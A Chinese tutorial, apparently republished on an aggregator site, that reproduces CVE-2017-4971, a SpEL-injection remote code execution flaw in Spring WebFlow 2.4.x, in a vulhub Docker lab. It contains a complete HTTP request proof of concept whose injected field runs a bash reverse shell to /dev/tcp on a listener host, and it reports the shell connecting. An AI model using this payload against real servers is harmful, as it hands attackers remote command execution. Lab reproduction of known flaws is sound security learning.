Spring WebFlow 远程代码执行漏洞

发布时间:2022-07-04 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了Spring WebFlow 远程代码执行漏洞脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

SPRing WebFlow 远程代码执行漏洞

Spring WebFlow 远程代码执行漏洞 (CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SPEL表达式注入漏洞,最终造成任意命令执行。


漏洞环境

我们先下载环境,在gIThub别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.COM/vulhub/vulhub.git
cd vulhub/spring/CVE-2017-4971/
docker-compose up -d

访问ip:8080/即可看到界面。

Spring WebFlow 远程代码执行漏洞


影响版本

Spring Web Flow 2.4.0 – 2.4.4


漏洞复现

访问IP:8080/login,用左边给的账号登陆系统

登陆后访问IP:8080/hotels/1

Spring WebFlow 远程代码执行漏洞

点击Book hotel后填写信息

Spring WebFlow 远程代码执行漏洞

填写完信息点击proceed,就到了能触发漏洞的页面了

Spring WebFlow 远程代码执行漏洞

点击Confirm抓包,POC为

POST /hotels/booking?execution=e16s2 HTTP/1.1
Host: 192.168.200.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/htML,application/xhtml+XMl,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-tW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 169
Origin: http://192.168.200.23:8080
Connection: close
Referer: http://192.168.200.23:8080/hotels/booking?execution=e16s2
Cookie: pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; JSESSIONID=FFA9517B0907812061E9E18C01E163fc
Upgrade-insecure-Requests: 1

_eventId_confirm=&_csrf=4051e30d-a9fc-48c0-92c9-989875d07d7c&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.200.134/6666+0>%261")).start()=EDI

POC中的execution为商品id请改成自己的别直接用该数据包

执行后查看监听发现反弹shell执行成功

Spring WebFlow 远程代码执行漏洞

Spring WebFlow 远程代码执行漏洞

脚本宝典总结

以上是脚本宝典为你收集整理的Spring WebFlow 远程代码执行漏洞全部内容,希望文章能够帮你解决Spring WebFlow 远程代码执行漏洞所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。